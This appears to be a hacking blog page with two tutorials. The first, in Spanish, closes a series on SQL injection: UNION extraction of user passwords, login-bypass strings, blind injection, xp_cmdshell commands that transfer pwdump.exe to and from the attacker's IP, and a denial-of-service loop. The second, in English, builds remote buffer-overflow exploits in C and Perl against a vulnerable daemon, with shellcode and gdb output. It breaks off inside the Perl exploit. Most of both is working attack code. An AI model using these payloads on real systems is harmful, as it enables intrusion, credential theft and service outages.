[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,usuario,5+FROM+CuentasUsuarios-- ]
Este comando nos muestra la primera data de la columna "usuarios" de la tabla "CuentasUsuarios".
Digamos que la pagina nos mostro 'Cascanola' xD
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,acceso,3+FROM+CuentasUsuarios+WHERE+usuario='Cascanola'-- ]
Este comando nos mostrara el password del usuario 'Cascanola' que esta guardado en la tabla 'CuentasUsuarios'.,entonces en nuestra pagina se nos tiene que haber mostrado el password del usuario que en nuestro ataque imaginario es "12345678" xD...
entonces al final de nuestro ataque nos logueamos con el usuario 'Cascanola' y el password '12345678' xD Ewww...
recordemos que este escenario solo es suponiendo las paginas y las consultas se aplicaran con la pura logica del usuario..
ok podemos aplicar mas o menos los mismos metodos en otro tpo de base de datos no nesesariamente sql server, mssql de mocosoft xD, en fin las tecnicas mas o menos iguales aqui una rapida introduccion la misma web escenario pero en php..
[ www.webquenoesdelgobierno.com/index.php?id=0 ]
lo mismo que ya deben saber despues de "=" es nuestro articulo por ende la consulta a la base de dato y que si fuera el caso que fuera vulnerable nuestra aplicacion la inyeccion va a partir de "=".,
esta vez usamos de ejemplo un formulario de logeo y lo primero que usaremos el articulo siendo "=0" sera
[ ‘OR 1=1--]
ok ya tenemos claro muchas cosillas debido a la lectura hasta este momento xD usaremos ese comando en los campos de logeo osea donde dice usuario y password,usemos otro ejemplo pero directo a la URL:
[ www.webquenoesdelgobierno.com/index.php?id=0 ‘OR 1=1-- ]
usualmente este lo usamos cuando es una inyeccion a ciegas que meramente hablaremos de ella mas adelante por consecuente haz de haber investigado de mas comandos SQL para sacar info dentro de las base de datos podemos usar muchos otros strings u comandos.
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
‘hi or 1=1--
hay muchas tecnicas abarcadas dentro del tema de las inyecciones sql de las que podemos poner muchicimas pero no quiero aburrirlos en el tema repetitivo y algo que quiero recrdarles que dentro de la base de datos no solamente podemos atacar con inyecciones SQL los Buffer Overflows que es un Ataque bien interesante y uno de los metodos favoritos de este servidor se pueden realizar dentro de ellas pero por ahora eso es en otro capitulo.
es bien impotante recordar que muchas veces nos enontramos con tal aplicacion y ni sabemos que tipo de base de datos gestiona pero eso lo iras mejorando durante el camino si aun asi no sabes como dar con ella puedes intentar con zenmap es una herramienta indispensable a la hora de hacer pentesting.
Ahora sigamos con el tema de las inyecciones en este caso las inyecciones a ciegas o como se conoce en ingles Blind SQL Injection.,ok explico que es esto usualmente cuando inyectamos una aplicacion y manipulamos la base de datos usualmente nos da los errores tipicos que nos indican si es vulnerable o no.,a raiz de esto los adminsitradores solo prohibe la muestra de errores en la programacion para que no sean mostradas en el sitio web para prevenir futuros ataques.
saben que administradores esto no los salva del todo xD igual si no muestra los errores puede ser vulnerable a inyeccion a ciegas ;-)
ok vamos a nuestro escenario imaginario para explicar mas sobre el asunto.digamos que nuestra webquenoesdelgobierno tiene una seccion que le da la oportunidad a sus empleados a ver los memos en linea de la empresa que son publicados blablabla la historia que ustedes quieran:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 ]
entonces el comando que usara la web para buscar la data en la base de datos y mostrarse en la web sera este:
[ SELECT title, description,memoDate, body FROM memodats WHERE memodatID = 2 ]
y entonces el servidor respondera mostrando el 2 memo hecho por la empresa en forma de HTML para que pueda ser visualizado en dicha pagina (obviamente) y es lo que vemos con nuestros navegadores.
para probar si nuestra aplicacion es vulnerable traten de injectar un caracter mas despues del Parametro Comando WHERE y veamos que pasa?
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND 1=1 ]
por resultado el website realiza la siguiente consulta:
[ SELECT title, description, memoDate, body FROM memodats WHERE memodatID = 2 AND 1=1 ]
si por resultado la pagina se muestro con el 2 memo o sea la pagina normal que vistes al principio antes de hacer esa consulta pues tenemos una apliccion vulnerable a inyeccion SQL a ciegas.,si la aplicacion no fuera vulnerable pues simplemente la pagina no mostraba el memo o sea nuestra pagina por que el usuario hizo una mala consulta a la base de datos.
Cuanod probamos la aplicacion el Parametro WHERE es predecible 1=1 siempre sera nuestro inicio por ende real (exite) pero no siempre sabemos si es true entonce por que no le preguntamos a la base de datos directamente?:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND USER_NAME() = 'dbo' ]
USER_NAME() s un parametro que te muestra el nombre del usuaro actual si el usuario actual es 'dbo' (el administrador) entonces el memo se mostrar (nuestra pagina) si no es asi no se mostrara tan sencillo como eso.
entonces podemos de muchas maneras seguir sacandole info a la aplicacion como nombre de la tabla un numero a la vez como la que ya aplicamos pero de otra manera:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 109 ]
El Parametrdentro de la consulta 'SELECT' pregunta el nombre de la primera tabla del usuario de la base datos que obviamente siempre es lo primero que queremos haces a la hora de sql injection.,el parametro dentro de la consulta substring() esta funcion nos mostrara el primer caracter de nuestra consulta, el parametro lower() dentro de la consulta lo que hace es convertir ese caracter en letra minuscula, y finalmente el parametro ascii() dentro de la consulta lo que hace es mostrarnos ese caracter en ascii o sea el valor ascii, claro? XD ehh
si el servidor nos responde mostrando la pagina que normalmente estabamos visualizando o sea el memo pues sabemos que la primera letra de la consulta esta despues de m en ascii es valor 109,haciendo algunas consultas podemos dar con el valor exacto de la letra.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 116 ]
si no se mostro nuestro memo (la pagina) pues el valor ascii es mayor que 109,pero menor que 116 la letra esta entre 'n' y 't'.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 113 ]
otro falso(pagina no mostrada) pues debe estar entre '110' y '113'.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 111 ]
falso nuevamente :O pues debe estar entre estas dos letras 'n' y 'o', entonces continuamos cambiando un poco la consulta:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) = 111 ]
El servidor nos muestra nuestro memo (pagina) asi que es positivo nuestro nombre de tabla en este caso es 'o' asi como la primera tabla de ella,para sacar la segunda letra repetiremos el proceso pero cambiaremos el parametro de consulta en substring() que el parametro seria el numero que va despues de 'xtype='U'),.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1))) = 109 ]
Repitamos el proceso hasta que nos de la palabra completa el problema de las inyecciones SQL a ciegas (Blind) es que tienen que hacer Hartas peticiones para dar con su objetivo,algo que lo pueden arreglar mientras van puliendo sus tecnicas.
repasemos otra vez atras con lo fundamental y su ejercicio es aqui es imaginarse el escenario y analizar la estructura del codigo SQL para saber de que manera es vulnerable analizemos este codigo:
[SQLQuery = "SELECT Username FROM Users WHERE Username = '" &
strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
boolAuthenticated = False
Else
boolAuthenticated = True
End If]
ahora ustedes ya deben saber que cuando nos encontramos con una forma de logeo y password este codigo o similar es lo que tenemos en la base de datos vulnerable,entonces cuando metes los datos de usuario la consulta verifica en las tablas si hay algunos datos que concuerden con la data que acabas de admitir. si la data es encontrada pues eso se guarda en la variable strAuthCheck indicando que el usuario debe ser autentificado,si se diera que el usuario que accedimos no concuerda con ninguna de la data de la base de datos entonces la variable strAuthCheck se queda vacia por que el usuario no puede ser autentificado.
si las variables strUsername y strPassword tienen algun caracter que usted quiere pues usteden pueden modificar la consulta SQL para que le devuelva el nombre que ustedes quieren,sin nesesidad de saber el password u/o el usuario.pero eso les quedo ya bien claro atraves de la lectura solo que lo enfatizo mas para que se hagan de una idea totalmente clara,pueden decir pero si ya explicastes eso arriba. no esta demas refrescar el cocote xD.
ok preparemos otro posible escenario pero esta vez en sql server y digamos que ya obtuvistes los datos que quieres,entonces quieres ganar priilegios dentro del servidor y subir archivos al mismo muchos de los puertos que se podrian utilizar el firewall los bloquea como lo son los puertos 137-139.,lo que haremos es subir un archivo binario en una tabla creada por ti mismo directo en la base de datos y luego saltandolo a los directorios del server. xD
una manera bien rara pero todavia funciona
entonces crearemos una tabla en el servidor:
[ create table TablaMaligna (data text) ]
Despues de haber creado la tabla subiremos nuestro binario a la mismisima tabla que hemos creado:
[ bulk insert TablaMaligna
from 'pwdump.exe'
with (codepage='RAW') ]
El binario podemos descargarlo de manera remota al servidor victima con el siguiente comando:
[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -ipnuestra -Rus -N3n3Bueno' ]
este comando va a suceder una conexion entrante a nuestra pc y escribiendo los comandos en el ejecutable que estamos recreando,en este escenario usaremos el protocolo por defecto asi como el puerto por defecto que puede ser que el firewall bloquee esa conexion entonces haremos:
[ exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',
'N3n3Bueno','REG_SZ','DBMSSOCN,ipnuestra,80'
]
luego :
[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -go0ns -Rus -N3n3Bueno' ]
el primer comando SQL configurara una conexion remota interactiva en el puerto -80 hacia nuestra maquina mientras el segundo comando SQL se conectara con nuestra maquina a traves del puerto -80 para descargar nuestro archivo binario..
entonces se preguntaran por que tanto revolu y tanta cosa pero lo que queremos enfatizar con este paper es cubrir el tema por completo en cada una de las tecnicas usadas.antes de llegar a usar los scanners y cosas y algo que veo bien comun es la costumbre de usar el SSS :O si ese mismo scanners que te arroja un 80% de falsos positivos a sabiendas que a manos pueden hacer muchicimas cosas.
ahora iremos algo mas teorico sobre esta vulnerabilidad para acabar con este capitulo a la hora de buscar la vulnerabilidad de esa aplicacion debemos tener bien en claro que el cliente debe comunicarse con el servidor y cuales son nuestros objetivos dentro de la ejecucion de la inyeccion.
despues de obtener los privilegios o que ya tengamos claro que la aplicacion es vulnerable podemos hacer muchas cosas inclusive un ataque de denegacion de servicio:
[ create table #tmp (x varchar(8000))
exec('insert into #tmp select ''X''')
while 1=1 exec('insert into #tmp select * from #tmp' ]
si haciendo esa consulta y manipulando los comandos podemos crear una tabla y correra con un loop infinito insertando variables en la tabla :O., las tablas temporeras se guardan en el sistema temporero de la base de datos y eventualmente nuestra base de datos temporal crecera resultando en el consumo de todos los recursos,y por ende el sistema cae al no poder comunicarse con la base de datos.
#######################################
las tecnicas son muchicimas y podemos continuar ire agregando mas tecnicas dado que la necesidad que vayan por un paso a paso en estos tiempos es imprecindible. continuaremos con el proximo capitulo y espero que esta introduccion les haya gustado. por ahora terminamos aqui a pasar a lo proximo
========================================
###########
#Bryant Aria#
###########
Etiquetas:
manuales,
papers,
SQL Inyection
jueves, 19 de marzo de 2009
Remote Exploitation with C and Perl by Preddy [English]
#RootShell Security Group#
Código:
-- Remote Exploitation with C and Perl by Preddy - RootShell Security Group
--[ Contents
1.1 - Goal
1.2 - Situation
1.3 - Vulnerable Daemon + Vulnerability analyses
1.4 - Payload/Code construction/analyses in C
1.5 - Payload/Code construction/analyses in Perl
1.6 - Conlusion
1.7 - Contact & Feedback
[1.1]--[ Goal
Hi, Preddy here , 17 year old turkish kid from holland,First of all sorry for my english , please do notify me of any spelling errors.
I would recommend you to read my previous tutorial about "Simple Buffer Overflows"
to avoid misunderstanding in this tutorial and to get a basic understanding of buffer overflows.
Our goal is to write two remote exploits , one in c and one in perl.
Both of the exploits, exploit a vulnerability in a small vulnerable daemon.
You would need perl installed(eg: ActivePerl for windows) and a compiler for c
(eg: cygwin for windows) you should have perl and a compiler package installed at your
linux distribution, you can install them with the following commands
(incase you haven't got it installed) :
To search for the perl package:
apt-cache search perl
then to install it:
apt-get install [perl-pkg-name]
you can do the same with the compiler package.
[1.2]--[ Situation
I have a laptop on my left side and a desktop on my right-hand side.
the laptop uses the following local ip address: 192.168.1.100
and the desktop uses: 192.168.1.101 as it's local ip address.
The laptop is the attacker in this situation and the desktop is our victim.
both run slackware 10.2 and have the VA patch turned off.
Turning the VA patch off:
cat /proc/sys/kernel/randomize_va_space
1
echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
0
The desktop computer runs a vulnerable daemon on port 7500 which we have to exploit
and open its cd-rom drive with the payload. Once again it's a very basic stack overflow
and this should be a piece of cake for the average exploit writer but it's very
usefull for people who are just starting to write exploits and exploit buffer overflows.
[1.3]--[ Vulnerable Daemon + Vulnerability analyses
Our vulnerable daemon:
server.c
---
#include
#include
#include
#include
#include
#include
#include
#define LISTENPORT 7500
#define BACKLOG 10
#define MSG "Hello, how are you?"
int handle_reply(char *str)
{
char response[256];
strcpy(response,str);
printf("The client says \"%s\"\n",response);
return 0;
}
int main(int argc, char * argv[]) {
int sock, conn;
struct sockaddr_in my_addr, client_addr;
int sockopt_on = 1;
int sa_in_size = sizeof(struct sockaddr_in);
char reply[1024];
//get a socket
if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) {
perror("socket");
exit(1);
}
//first zero the struct
memset((char *) &my_addr, 0, sa_in_size);
//now fill in the fields we need
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(LISTENPORT);
my_addr.sin_addr.s_addr = htonl(INADDR_ANY);
//bind our socket to the port
if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) {
perror("bind");
exit(1);
}
//start listening for incoming connections
if (listen(sock,BACKLOG) == -1) {
perror("listen");
exit(1);
}
while(1) {
//grab connections
conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size);
if (conn == -1) {
perror("accept");
exit(1);
}
//log the connecter
printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr));
//send a greeting
send(conn,MSG,strlen(MSG)+1,0);
//get the reply
recv(conn, reply, 1024, 0);
handle_reply(reply);
}
return 0;
}
---
This piece of code serves as a daemon and waits for people to connect,
on a successfull connection the server replies with a message and
waits for the user to reply back with his message.
The message get's stored in a buffer called 'reply' which can hold
1024 bytes of data.
the vulnerability lies in the handle_reply() function let's analyze it:
handle_reply()
---
int handle_reply(char *str)
{
char response[256];
strcpy(response,str);
printf("The client says \"%s\"\n",response);
return 0;
}
---
as you can see it has a response buffer which can hold 256 bytes of data
the reply message from the user gets copied in that buffer and the response
message is viewed at the server.
like this,
client:
---
telnet 192.168.1.101 7500
Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is '^]'.
Hello, how are you?fine thanks how are you?
---
server:
---
got connection from 192.168.1.100
The client says "fine thanks how are you?
"
---
as you can see nothing special happens. But let's try to send a buffer which
is 272 bytes , which exceeds the buffersize of the response buffer in the handle_reply()
function.
[1.4]--[ Payload/Code construction/analyses in C
We want to send a 272 byte buffer to port 7500 of our victim (192.168.1.101)
so let's start by writing a simple piece of c code which can send 272 x A (0x41) to port
7500. Also don't forget to enable coredumps to analyze the overflow,
Enabling coredumps:
ulimit -c unlimited
Our overflow code:
send_overflow.c
---
/*
-- Send overflow (C version) written by Preddy
Part of Preddy's Remote Exploitation with C and Perl tutorial
Usage: ./send_overflow
Example: ./send_overflow 192.168.1.101
*/
/*
include headers which are required for a network connection
and other functionalities in the program
*/
#include
#include
#include
#include
#include
#include
#include
/*
define our remote port and the data which we are going to send
*/
#define REMPORT 7500
#define A 0x41
//Start with the program
int main(int argc,char **argv)
{
/* declare our variables */
int conn; //our connection variable, which will connect to the remote computer
int fd; // our socket file descriptor
//assign struct sockadd_in to remaddr
struct sockaddr_in remaddr;
//declare our payload buffer which will hold 272 bytes of data
char payload[272];
/*
check if the first commandline argument is given (the ip address)
if NOT print a message and exit
*/
if(!argv[1])
{
printf("Specify ip plz..\n");
exit(1);
}
/*
create the socket and also check for errors at creation
if an error is detected socket() will return -1
*/
if((fd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("socket");
exit(1);
}
/*
this is going to overwrite the Extended Instruction Pointer
with 4 x 0x42 (BBBB -> 0x42 is also knows as B in its ascii form - http://www.lookuptables.com/)
*/
char *eip = "\x42\x42\x42\x42";
/*
fill our payload with 268 bytes of A (previously defined as 0x41)
*/
memset(payload,A,268);
/* fill the part after 268 bytes with our eip (BBBB - 0x42424242) */
memcpy(payload+268,eip,sizeof(eip));
/* connection information */
remaddr.sin_family = AF_INET; //domain
remaddr.sin_addr.s_addr = inet_addr(argv[1]); //remote connection address (our first argument - IP)
remaddr.sin_port = htons(REMPORT); //the remote port to connect to (previously defined as 7500)
/* this is where the actual connection take's place */
conn = connect(fd, (struct sockaddr_in *)&remaddr,sizeof(remaddr));
/* check the connection for errors as you know it returns -1 at errors */
if(conn < 0)
{
printf("Error: could not connect\n");
exit(1);
}
/* this is the part where our payload gets sent */
send(fd,payload,strlen(payload),0);
/* this is extra information which is displayed after sending the payload */
printf("Payload Size: %i\n",sizeof(payload));
printf("Payload Sent..\n");
}
---
Now we can start with compiling our program:
client:
---
gcc send_overflow.c -o send_overflow
./send_overflow 192.168.1.101
Payload Size: 272
Payload Sent..
---
server:
---
got connection from 192.168.1.100
The client says "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"
Segmentation fault (core dumped)
bash-3.00# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
Core was generated by `./server'.
Program terminated with signal 11, Segmentation fault.
warning: current_sos: Can't read pathname for load map: Input/output error
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x42424242 in ?? ()
(gdb) i r eip
eip 0x42424242 0x42424242
(gdb)
---
as you see we have overwritten the extended intruction pointer with our own
eip which we constructed before in our payload (char *eip = "\x42\x42\x42\x42";)
and its overwritten with exacly BBBB
so now we have to place our shellcode in our payload and also our nopsled.
and finish a huge part of the exploit.
server_exploit.c
---
/*
-- Remote "eject cd-rom" exploit (C version) written by Preddy
Part of Preddy's Remote Exploitation with C and Perl tutorial
Usage: ./server_exploit
Example: ./server_exploit 192.168.1.101
*/
/*
include headers which are required for a network connection
and other functionalities in the program
*/
#include
#include
#include
#include
#include
#include
#include
/*
define our remote port and the data which we are going to send
*/
#define REMPORT 7500
#define NOP 0x90
#define A 0x41
//Start with the program
int main(int argc,char **argv)
{
//Our shellcode which ejects the cd-rom drive..
/*
* (linux/x86) eject cd-rom (follows "/dev/cdrom" symlink) + exit() - 40 bytes
* - izik
*/
char scode[] =
"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\xb5\x08" // mov $0x8,%ch
"\x68\x64\x72\x6f\x6d" // push $0x6d6f7264
"\x68\x65\x76\x2f\x63" // push $0x632f7665
"\x68\x2f\x2f\x2f\x64" // push $0x642f2f2f
"\x89\xe3" // mov %esp,%ebx
"\xcd\x80" // int $0x80
"\x89\xc3" // mov %eax,%ebx
"\xb0\x36" // mov $0x36,%al
"\x66\xb9\x09\x53" // mov $0x5309,%cx
"\xcd\x80" // int $0x80
"\x40" // inc %eax
"\xcd\x80"; // int $0x80
/* declare our variables */
int conn; //our connection variable, which will connect to the remote computer
int fd; // our socket file descriptor
//assign struct sockadd_in to remaddr
struct sockaddr_in remaddr;
//declare our payload buffer which will hold 272 bytes of data
char payload[272];
/*
check if the first commandline argument is given (the ip address)
if NOT print a message and exit
*/
if(!argv[1])
{
printf("Specify ip plz..\n");
exit(1);
}
/*
create the socket and also check for errors at creation
if an error is detected socket() will return -1
*/
if((fd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("socket");
exit(1);
}
/*
this is going to overwrite the Extended Instruction Pointer
with 4 x 0x42 (BBBB -> 0x42 is also knows as B in its ascii form - http://www.lookuptables.com/)
*/
char *eip = "\x42\x42\x42\x42";
/*
Shellcode size: 40 bytes
272 bytes used to overwrite eip with 0x42424242
eip = 4 bytes
272 -4 = 268
268 - 40 = 228
Nopsled = 228 bytes
*/
memset(payload,NOP,228); //construct the nopsled
memcpy(payload+228,scode,sizeof(scode)); //place our shellcode after the nopsled
memcpy(payload+268,eip,sizeof(eip)); //place eip after our shellcode
/*
structure:
[NOPSLED - 228 BYTES] + [SHELLCODE - 40 BYTES] + [EIP - 4 BYTES] = 272 BYTES
*/
/* connection information */
remaddr.sin_family = AF_INET; //domain
remaddr.sin_addr.s_addr = inet_addr(argv[1]); //remote connection address (our first argument - IP)
remaddr.sin_port = htons(REMPORT); //the remote port to connect to (previously defined as 7500)
/* this is where the actual connection take's place */
conn = connect(fd, (struct sockaddr_in *)&remaddr,sizeof(remaddr));
/* check the connection for errors as you know it returns -1 at errors */
if(conn < 0)
{
printf("Error: could not connect\n");
exit(1);
}
/* this is the part where our payload gets sent */
send(fd,payload,strlen(payload),0);
/* this is extra information which is displayed after sending the payload */
printf("Payload Size: %i\n",sizeof(payload));
printf("Payload Sent..\n");
}
---
Let's start compiling our exploit,
client:
---
gcc server_exploit.c -o server_exploit
./server_exploit 192.168.1.101
Payload Size: 272
Payload Sent..
---
server:
---
bash-3.00# ./server
got connection from 192.168.1.100
The client says "jX1?Qhdromhev/ch///d??ð6f? S? @?BBBB"
^[[?1;2cSegmentation fault (core dumped)
bash-3.00# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
Core was generated by `./server'.
Program terminated with signal 11, Segmentation fault.
warning: current_sos: Can't read pathname for load map: Input/output error
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x42424242 in ?? ()
(gdb)
(gdb) i r eip
eip 0x42424242 0x42424242
(gdb) x/1000xb $esp
0xbffff2b0: 0x02 0x00 0xff 0xbf 0xc0 0xf2 0xff 0xbf
0xbffff2b8: 0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff2c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff300: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff308: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff310: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff318: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff320: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff330: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff338: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff340: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff348: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff350: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff358: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff360: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff368: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff370: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff378: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff380: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff388: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
---
As you can see we have overwritten the extended instruction pointer once again
and you can see our nopsled above in memory
Let's pick a random address from the nopsled,
0xbffff2f8
write it in little-endian format (more info: http://www.answers.com/topic/endianness)
EIP:
\xf8\xf2\xff\xbf
and let's replace the old EIP with the new one in our "server_exploit.c" program
so:
char *eip = "\x42\x42\x42\x42";
becomes
char *eip = "\xf8\xf2\xff\xbf";
and let's recompile the program,
gcc server_exploit.c -o server_exploit
client:
---
./server_exploit 192.168.1.101
Payload Size: 272
Payload Sent..
---
server:
---
bash-3.00# ./server
got connection from 192.168.1.100
The client says "jX1?Qhdromhev/ch///d??ð6f? S? @?????"
^[[?1;2cbash-3.00# 1;2c
---
and yes, my cd-rom drive ejected....
as you can see we have managed to successfully exploit a remote
buffer overflow by using c code. Some people have allot of problems with
c , they find it hard or they are to lazy to learn it :PpPppP
Perl is allot easier to learn in my opinion and would be confortable for
some people.The next section will use Perl to exploit this vulnerability
and open the cd-rom drive of the computer.
[1.5]--[ Payload/Code construction/analyses in Perl
Let's start again by sending a 272 byte buffer to the server in Perl,
send_overflow.pl
---
#!/usr/bin/perl
####################################################################
#
#-- Send overflow (Perl version) written by Preddy
#
# Part of Preddy's Remote Exploitation with C and Perl tutorial
#
# Usage: perl send_overflow.pl
#
# Example: perl send_overflow.pl 192.168.1.101
#
####################################################################
#IO::Socket for network connections
use IO::Socket;
#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];
#our payload which is 272 bytes of A (0x41,x41)
$payload = "\x41"x272;
#view a message if no ip address is given
if(!$ip)
{
die "Specify ip plz..\n";
}
#the remote port to connect to
$port = '7500';
#the connection protocol to use
$protocol = 'tcp';
#create the actual network connection
#and print an error message if it's not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>'1') || die "Could not create socket\n";
#send the payload to the remote computer
print $socket $payload;
#close the connection
close($socket);
---
Let's start by running the script without any arguments,
perl send_overflow.pl
Specify ip plz..
And let's send the payload (272 x A - 0x41)
client:
---
perl send_overflow.pl 192.168.1.101
---
server:
---
bash-3.00# ./server
got connection from 192.168.1.100
The client says "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"
Segmentation fault (core dumped)
bash-3.00# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
Core was generated by `./server'.
Program terminated with signal 11, Segmentation fault.
warning: current_sos: Can't read pathname for load map: Input/output error
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb)
(gdb) i r eip
eip 0x41414141 0x41414141
---
as you can see we have overwritten eip ,
now let's construct our payload
[NOPSLED - 228 bytes] + [SHELLCODE - 40 bytes] + [EIP - 4 bytes] = 272 bytes
we can just use the same payload from the C section
in it's perl form.
server_exploit.pl
---
#!/usr/bin/perl
####################################################################
#
#-- Server Exploit (Perl version) written by Preddy
#
# Part of Preddy's Remote Exploitation with C and Perl tutorial
#
# Usage: perl server_exploit.pl
#
# Example: perl server_exploit.pl 192.168.1.101
#
####################################################################
#IO::Socket for network connections
use IO::Socket;
#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];
#our nopsled
$nopsled = "\x90"x228;
#our shellcode which opens the remote cd-rom drive - 40 bytes (thanks to izik)
$shellcode = "\x6a\x05". # push $0x5
"\x58". # pop %eax
